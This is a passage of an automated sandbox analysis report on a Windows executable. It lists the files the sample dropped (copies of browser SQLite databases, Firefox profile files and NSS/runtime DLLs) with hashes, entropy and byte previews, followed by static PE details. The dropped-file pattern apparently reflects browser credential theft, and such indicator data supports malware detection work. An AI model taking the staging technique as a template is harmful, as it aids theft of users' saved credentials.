SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKFBAECBAEGDGDHIEHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAAAFCAKKKFBFIDGDBFHJJEHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJJKECFCFBGDHIECAAFIIDAKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGCGHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBKECAKFBGCAKECGIEHDGHCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDBAFIECGHCBFIDGDAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJECBKKECFIEBGCAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: xxJfSec58P.exe, Detection: malicious, Browse Filename: UMrFwHyjUi.exe, Detection: malicious, Browse Filename: b157p9L0c1.exe, Detection: malicious, Browse Filename: PFlJLzFUqH.exe, Detection: malicious, Browse Filename: 46QSz6qyKC.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947859264154199
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'881'088 bytes
MD5:	c3296f6f55ac5db62cc43a0f555a1484
SHA1:	ea6b377af194e98a906c8b2373399d3f6f068522
SHA256:	c63fc85a83f56bec43d9cb08cbcf52a14040dc32c628c22c6bea27b95dac15a1
SHA512:	593d833e45d65cf8627877f7cdcb48ccd36a73812000dc8fdbd446a0a9e30656f7e447ba141d2af0442cde25efe006a58ce0115fc7c0debaee984b164afc1f2b
SSDEEP:	49152:6frcnpPlJAJh+m3wAphdrxzFsZwp7vpWAPnwGNx032DNudv:6fIpm0LAFZeE7hnYGN+g
TLSH:	EC95331B5FF08D3BDA884539D6D3EE92BA3B9AD4C230A6D5118E281C5927323DD3903D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
